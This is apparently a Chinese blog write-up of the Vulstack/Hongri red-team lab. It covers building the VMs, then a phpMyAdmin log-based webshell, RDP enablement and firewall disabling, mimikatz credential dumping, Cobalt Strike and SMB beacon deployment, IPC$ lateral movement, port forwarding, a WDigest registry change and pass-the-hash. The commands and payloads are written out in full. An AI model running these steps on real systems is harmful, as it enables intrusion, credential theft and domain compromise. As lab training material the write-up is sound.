Vulstack红队评估(一)

一、环境搭建

1、网络拓扑

在这里插入图片描述

在这里插入图片描述

2、web服务器(win7)配置

首先准备两个网卡vmnet2vmnet4,其中vmnet4用于连接外网(连接物理机),vmnet2用于连接内网。具体网卡配置如下:
在这里插入图片描述
在这里插入图片描述
然后win7充当web服务器,拥有vmnet2vmnet4,手动设置vmnet4IP为192.168.111.128vmnet2IP为192.168.52.143。**注意:vmnet2的DNS服务器地址为域控。**具体配置如下:
在这里插入图片描述

在这里插入图片描述

关闭win7上的防火墙,物理机可以ping通192.168.111.128,ping不通192.168.52.143。记得开启防火墙~

在这里插入图片描述

3、域控(winserver2008)配置

网卡设置为内网网卡vmnet2
在这里插入图片描述
登录域控的时候,首先用Administrator hongrisec@2019登录,然后需要更改密码,这里改为hongrisec@2024
在这里插入图片描述
查看域控ip是否为1922.168.52.138.
在这里插入图片描述

4、域内机器(windows 2003)配置

网卡设置为内网网卡vmnet2
在这里插入图片描述
注意:刚刚在域控上改了Administrator的密码,域内所有主机Administrator的密码都被改了,这里密码为hongrisec@2024

在这里插入图片描述
确定IP为192.168.52.141.
在这里插入图片描述
!!!配置好上述之后,要重启win7主机,使用hongrisec@2024进行登录。

5、调试网络是否通常

在win7和winsever 2003上使用net user /domain查看域用户:
在这里插入图片描述

在这里插入图片描述
正常情况下,物理机只能通过ping 192.168.111.128ping通web服务器(win 7),域内机器是可以互ping,而物理机是ping不通域内机器的。
在这里插入图片描述

二、web渗透

1、信息搜集

信息搜集主要搜集以下信息:

  • IP地址
  • 子域名
  • 目录结构
  • JS信息
  • APP和小程序
  • 端口
  • 旁站
  • C端
  • whois信息
  • 公司结构
  • 公司相关手机、邮箱

2、端口扫描

常见端口及其对应的服务:
在这里插入图片描述
这里使用nmap进行端口扫描,命令如下:

nmap -p- -sV -A 192.168.111.128

在这里插入图片描述
可以看到网站开放了80、135、139、445、3306端口。

3、目录扫描

这里用御剑进行网站目录扫描
在这里插入图片描述
根据扫描结果,主要是phpinfo页面phpmyadminbeifen.rar

4、弱口令

访问phpmyadmin页面,尝试弱口令root/root,成功登录~~

5、phpmyadmin getshell

日志getshell

mysql5.0版本以上会创建日志,可以通过修改日志的全局变量getshell。

检测全局变量(general_log、general_log file)
使用如下命令:

show variables like 'genral%'

在这里插入图片描述

  • general log指的是日志保存状态,ON代表开启,OFF代表关闭;
  • general log file 指的是日志的保存路径。

开启日志
开启general_log作用:开启它可以记录用户输入的每一条命令,并且将其保存在general_log_file指向的文件中,也就是日志文件。

利用思路:开启general_log之后,把general_log_file的值修改为网站默认路径下的某个php文件中,并将一句话木马写入日志文件中。

根据php探针,我们可以知道网站目录C://phpStudy/WWW/1.php,所有将general_log_file=C://phpStudy/WWW/shell.php
在这里插入图片描述

set global general_log = "ON"; # 开启日志
set global general_log_file= "C:/phpStudy/WWW/shell.php"; # 更改日志路径

在这里插入图片描述
这时候我们访问192.168.111.128/shell.php,可以看到mysql的日志内容。
在这里插入图片描述
写入一句话木马
在SQL执行环境中,写入一句话木马select <?php @eval($_POST[1]);?>
在这里插入图片描述
连接shell
连接密码就是post传输的参数~

在这里插入图片描述
点击添加后,即可用蚁剑连接到一句话木马。
在这里插入图片描述

6、远程桌面连接

要想远程桌面连接,需要解决三个问题:

  1. 开启3389端口;
  2. 知道防火墙用户名和密码;
  3. 关闭靶机防火墙。

开启3389端口

根据端口扫描的结果,目标机器没有开启3389端口,也可以在命令行中用netstat -ano命令查看以开放的端口。

  • -a:显示所有选项,默认不显示LISTEN相关;
  • -n:拒绝显示别名,能显示数字的全部转化成数字;
  • -o:显示计时器。
    在这里插入图片描述
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f # 开启3389端口

在这里插入图片描述
在这里插入图片描述

关闭防火墙

netsh firewall show state # 查看防火墙状态
netsh firewall set opmode disable # 关闭防火墙

可见防火墙状态:开启。
在这里插入图片描述
关闭防火墙。
在这里插入图片描述

内存密码抓取

首先通过蚁剑上传mimikatz到目标主机.
在这里插入图片描述

mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit"

mimikatz常见命令如下:

cls清屏
exit退出
version查看mimikatz的版本
system::user查看当前登录的系统用户
system::computer查看计算机名称
process::list列出进程
process::suspend 进程名称暂停进程
process::stop 进程名称结束进程
process::modules列出系统的核心模块及所在位置
service::list列出系统的服务
service::remove移除系统的服务
service::start stop 服务名称启动或停止服务
privilege::list列出权限列表
privilege::enable激活一个或多个权限
privilege::debug提升权限
nogpo::cmd打开系统的cmd.exe
nogpo::regedit打开系统的注册表
nogpo::taskmgr打开任务管理器
ts::sessions显示当前的会话
ts::processes显示进程和对应的pid情况等
sekurlsa::wdigest获取本地用户信息及密码
sekurlsa::tspkg获取tspkg用户信息及密码
sekurlsa::logonPasswords获登陆用户信息及密码

在这里插入图片描述

远程桌面登录

输入用户名GOD\Administrator,密码hongridec@2019,成功连接。
在这里插入图片描述
在这里插入图片描述

对方电脑会锁屏!
在这里插入图片描述

三、内网渗透

内网中电脑的分布形式有两种:工作组和域环境(域控进行统一的管理)。

1、内网信息收集

收集用户信息

whoami # 查看当前用户信息
hostname # 查看当前设备主机名
net user # 查看本地用户
net user /domain # 查看域用户,向域控去查询

因为主机名为stu1,按道理本地管理员应该是stu1\administrator,所以god\administrator是一个域账号。本地账号的命名方式:主机名\本地用户名。域账号的命名方式:域名\域账号名
在这里插入图片描述
在这里插入图片描述

  • 域账号:在域控制器(Domain Controller)上创建和管理的账号,域账号的权限和访问控制由域控制器管理。
  • 本地账号:在单个计算机上创建和管理的账号,本地账号只能在特定计算机上使用,不能跨计算机使用。

收集域名信息

systeminfo # 查看域名信息

在这里插入图片描述
收集域内机器数

net group "domain computers" /domain # 向域控询问当前域环境中有多少设备

当前域内存在三台电脑:DEV1ROOT-TV1862UBEHSTU1
在这里插入图片描述
查询域控IP及域名

nslookup -type=SRV _ldap._tcp

在这里插入图片描述
查询域内机器IP

arp -a # 查看当前计算机上的arp缓存表
ping <主机名>

在这里插入图片描述
在这里插入图片描述

2、蚁剑上线到CS

Cobalt Strike部署–Windows
192.168.111.1是物理机在vmnet4网卡下的ip地址。
在这里插入图片描述
添加监听器
在这里插入图片描述
在这里插入图片描述

生成木马
在这里插入图片描述
在这里插入图片描述
保存到桌面,木马名为shell.exe

蚁剑上传木马,并运行
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
sleep改为1。目前不知道为什么?
在这里插入图片描述

3、内网横向——IPC$管道

横向移动技术有:利用远控工具横向;IPC$横向移动;PTH哈希传递攻击;PTK密钥传递攻击;PTT票据传递攻击;PSexec工具横向移动;SMB工具横向移动;WinRM命令横向移动;WMI命令横向移动。

IPC简介
IPC(internet ProcessConnection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程登录计算机和查看计算机的共享资源时使用。

通过IPC$,可以与目标机器建立连接,利用该连接,不仅可以访问目标机器的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
在这里插入图片描述

在CS中直接运行run mimikatz抓取当前主机的用户名和密码。
在这里插入图片描述
与域控建立IPC管道

net use \\<域控域名>\IPC$ "<登录密码>" /user:<登录用户> # 与域控建立IPC管道

# 具体命令
net use \\owa.god.org\IPC$ "hongrisec@2024" /user:god\administrator

在这里插入图片描述

net use # 查看网络共享连接

在这里插入图片描述

copy shell.exe \\owa.god.org\C$ # 将web服务器上的cs木马远程复制到域控的c盘下

在这里插入图片描述

4、使用CS自带SMB Beacon上线不出网机器

隧道部分知识:反弹shell、端口转发、端口映射、正向连接、反向连接、DNS隧道、socks隧道、HTTP隧道、ICMP隧道…

创建监听器
在这里插入图片描述
生成相应的木马
在这里插入图片描述
在这里插入图片描述

将木马传到域控上
先将木马用CS上传到web服务器上,再通过IPC管道上传到域控上。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
域控运行smb木马

  思路:远程创建服务,远程执行服务。

sc \\owa.god.org create test binpath= "cmd.exe /c c:\smb.exe" # 创建服务

# sc:是Windows系统中的一个命令行工具,用于管理和配置系统服务。
# create:是 sc 命令的参数之一,指示要创建一个新的服务。
# test:表示要创建的新服务的名称,这里将其命名为 "test"。
# binpath=:是 sc 命令的参数之一,用于指定服务的二进制路径。
# "cmd.exe /c c:\smb.exe":是要作为服务的二进制路径的值。这里使用了 cmd.exe 命令解释器,/c 参数表示在执行完命令后立即退出,并指定了一个名为 smb.exe 的可执行文件的路径(在C盘根目录下)。

在这里插入图片描述

sc \\owa.god.org start test # 远程运行服务
link owa.god.org

在这里插入图片描述
域控成功上线~
在这里插入图片描述

5、远程连接域控

# 开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 

# 查看防火墙状态
netsh firewall show state 
# 关闭防火墙
netsh firewall set opmode disable 

在这里插入图片描述
在这里插入图片描述

# 在web服务器上运行,将192.168.52.138的3389流量转发到192.168.52.143(web服务器)的9999端口
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=9999 connectport=3389 connectaddress=192.168.52.138

# netsh是用于配置网络设置的Windows命令行工具。
# interface portproxy指示netsh工具执行端口代理配置。
# add v4tov4表示将添加一个IPv4到IPv4的端口代理。
# listenaddress=0.0.0.0指定监听地址为0.0.0.0,这表示将监听所有可用的网络接口。
# listenport=9999指定要监听的本地端口号为9999。
# connectport=3389指定要连接的远程目标端口号为3389。
# connectaddress=192.168.52.138指定要连接的远程目标地址为192.168.52.138。


# 查看是否配置成功
netsh interface portproxy show v4tov4

在这里插入图片描述
在web服务器上运行~
在这里插入图片描述

在这里插入图片描述

四、windows认证

1、windows认证流程

windows认证流程图解:
在这里插入图片描述

  • windows Logon Process(即winlogon.exe):是windows NT 用户登录程序,用于管理用户登录和退出。用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登录界面。
  • lsass.exe是一个系统进程,用于微软windows系统的安全机制。它用于本地安全和登录策略。1、将winlogon传过来的明文账号密码进行加密,然后和SAM文件中的密文账号密码进行对比,对比成功则登录;2、将收到的明文账号密码在本地内存中保留一份作备用。

    要想获取windows账号密码,要么读取SAM文件;要么查看内存中保存的明文账号和密码。

  • SAM文件是位于C:\windows\system32\config\目录下的,用于存储本地所有用户的凭证信息。普通人:不能删、不能改、不能看、不能复制该文件

完整登录流程:
在这里插入图片描述

2、抓取SAM文件中的hash值

使用mimikatz读取SAM文件中的密码

mimikatz.exe # 运行mimikatz.exe
privilege::debug # Mimikatz提升当前进程的调试特权,调试特权允许进程访问和操作其他进程的内存和资源
token::elevate # Mimikatz获取到当前进程的访问令牌,并将其权限级别提升到最高级别,即系统级别
lsadump::sam # 读取sam文件

在这里插入图片描述

这里读取的是本地SAM文件~

3、 NTLM-HASH

1、介绍

NTLM Hash是微软为了提高安全性的同时保证兼容性而设计的散列加密算法,NTLM Hash是基于MD4加密算法进行加密的。个人版从windows vista以后,服务器版从windows server 2003以后,windows操作系统的认证方式均为NTLM Hash

2、NTLM Hash加密过程

  • 将明文口令转换成十六进制格式;
  • 将16进制转化成unicode格式(每两位加00);
  • 对unicode字符串作MD4加密。

4、lsass.exe内存抓取密码

mimikatz.exe # 运行mimikatz.exe
privilege::debug # Mimikatz提升当前进程的调试特权,调试特权允许进程访问和操作其他进程的内存和资源
sekurlsa::logonPasswords # 抓取内存中的明文账号和密码

成功读取用户名和密码~
在这里插入图片描述

这里抓取的是域用户的内存密码!

5、LM-HASH

1、介绍

windows操作系统通常使用两种方法对用户的明文密码进行加密处理,一部分为LM-Hash,另一部分为NTLM-Hash。为了解决LM加密和身份验证方案中固有的安全弱点,微软于1993年在Windows NT 3.1中引入NTLM协议。下面是各个版本对LM和NTLM的支持:
在这里插入图片描述

2、LM-Hash加密过程

在这里插入图片描述
在这里插入图片描述
6、每7组bit为单位,后面加一个0;
在这里插入图片描述

6、高版本密码抓取

使用上述方法,mimikatz默认情况抓取不到win10的明文密码。
在这里插入图片描述
在windows2012及以上的系统,默认在内存缓存中禁止保存明文密码。可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取~

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

在这里插入图片描述
在这里插入图片描述

7、PTH攻击(hash传递攻击)

适用:win10、win8、win11、win 2012都可以使用。

情景:在内网中因为员工很多电脑就很多,很多网络管理员在安装系统时都会采用相同的账号密码,如果账号密码相同,NTLM-Hash值也就相同,我们可以利用明文或NTLM-Hash进行认证,从而实现远程控制对方电脑。

横向移动工具:PSEXEC、WMIEXEC、SMBEXEC

wmiexec.exe <用户名>:<密码>@<ip> # 明文认证
wmiexec.exe -hashes LM-Hash:NTLM-Hash <用户名>@<ip> # NTLM-Hash认证

在这里插入图片描述

  • 17
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ATT&CK评估实战靶场四是一个实战训练场景,其中使用了phpmyadmin来利用数据库日志写入马来获取会话。具体的方法和之前的日靶场一类似,你可以去查看相关链接了解更多细节。在攻击机要访问52网段的资源时,可以使用session 4作为下一跳进行路由设置。可以通过routeprint命令查看路由表,并使用routeadd命令添加相应的路由。此外,可以通过将SSH公钥添加到/home/ubuntu/.ssh/authorized_keys文件来实现免密登录到目标机器。具体命令是将SSH公钥追加到该文件中。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ATT&CK评估日靶场四)](https://blog.csdn.net/weixin_45682839/article/details/124485070)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] - *2* [ATT&CK评估实战靶场-1(全网最细)](https://blog.csdn.net/qq_40638006/article/details/122033546)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值